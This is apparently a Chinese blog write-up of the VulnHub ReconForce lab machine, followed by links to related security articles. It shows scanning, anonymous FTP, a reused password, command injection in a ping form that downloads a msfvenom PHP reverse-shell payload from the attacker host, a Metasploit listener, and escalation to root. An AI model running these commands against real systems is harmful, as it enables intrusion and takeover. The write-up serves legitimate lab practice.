vulnhub之ReconForce的实践

VSole2022-01-03 17:25:24

今天实践的是ReconForce,

用workstation导入成功,但是扫描不出来地址,换成virtualbox,

sudo netdiscover -r 192.168.56.0/24,

接着做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.56.107,

发现ftp可匿名登录,那就登录一下看看,发现个可能是密码的信息,

访问http页面,里面有个TroubleShoot链接可点击,

点击后需要用户名密码认证,尝试admin/Security@hackNos,登录成功,

页面中的ping scan应该是可以执行命令,

在kali攻击机上做一个webshell,

sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.102 LPORT=4444 R > shell.php,

在kali攻击机上开启http下载服务,python2 -m SimpleHTTPServer,

在ping scan的输入框中填入,并点击提交,

127.0.0.1|wget http://192.168.56.102:8000/shell.php,

查询一下shell.php文件是否上传成功,127.0.0.1|ls,

在kali攻击机上开个meterpreter的反弹shell监听,

msfconsole

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.56.102

set LPORT 4444

run

访问webshell,http://192.168.56.107/5ecure/shell.php,

获取到靶机的shell,不是root,需要提权,

先转成交互式shell,

python -c 'import pty; pty.spawn("/bin/bash")',

发现个recon账户,猜测密码还是Security@hackNos,

切换到recon,发现能再直接切到root,搞定,

shell
本作品采用《CC 协议》,转载必须注明作者和本文链接
研究人员在TorchServe中发现多个高分漏洞,影响数万AI 服务器。
通过从事件日志中写入/读取 shellcode 来实现持久化。
shellcode loader的编写
2023-04-17 11:15:39
改变加载方式指针执行#include?参数1:分配的内存的起始地址,如果为NULL则由系统决定。参数2:分配的内存大小,以字节为单位。参数3:分配的内存类型,MEM_COMMIT表示将分配的内存立即提交给物理内存,MEM_RESERVE表示保留内存但不提交。参数4:分配的内存保护属性,PAGE_READWRITE可读可写,PAGE_EXECUTE_READ可执行可读。结构体的指针,用于指定新线程的安全属性,NULL表示默认安全属性
shellcode动态注入!
2023-01-24 10:15:10
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大
跟第一代WebShell管理工具“菜刀”相比,冰蝎的流量是加密的,特征更不明显,能有效规避流量设备的检测。
shellcode编写探究
2022-06-09 15:34:57
前言shellcode是不依赖环境,放到任何地方都可以执行的机器码。shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。要使用字符串,需要使用字符数组。所以我们需要用到 LoadLibrary 和 GetProcAddress 这两个函数,来动态获取系统API的函数指针。
OneEDR 2.5版本让恶意Webshell“现原形”
今天脑子里面蹦出来个想法,免杀木马然后cs上线,本来想让cs与msf联动的,但是出了点小问题,还是先研究免杀火绒吧。
shell编程15例(三)
2022-03-25 07:43:19
1、统计当前 Linux 系统中可以登录计算机的账户有多少个 #!/bin/bash # 统计当前 Linux 系统中可以登录计算机的账户有多少个 #方法 1: grep "bash$" /etc/passwd | wc -l #方法 2: awk -f: '/bash$/{x++}end{print x}' /etc/passwd
shell编程15例(一)
2022-03-23 07:53:04
1、编写hello world脚本 #!/bin/bash # 编写hello world脚本 echo "Hello World!" 2、通过位置变量创建 Linux 系统账户及密码 #!/bin/bash # 通过位置变量创建 Linux 系统账户及密码
VSole
网络安全专家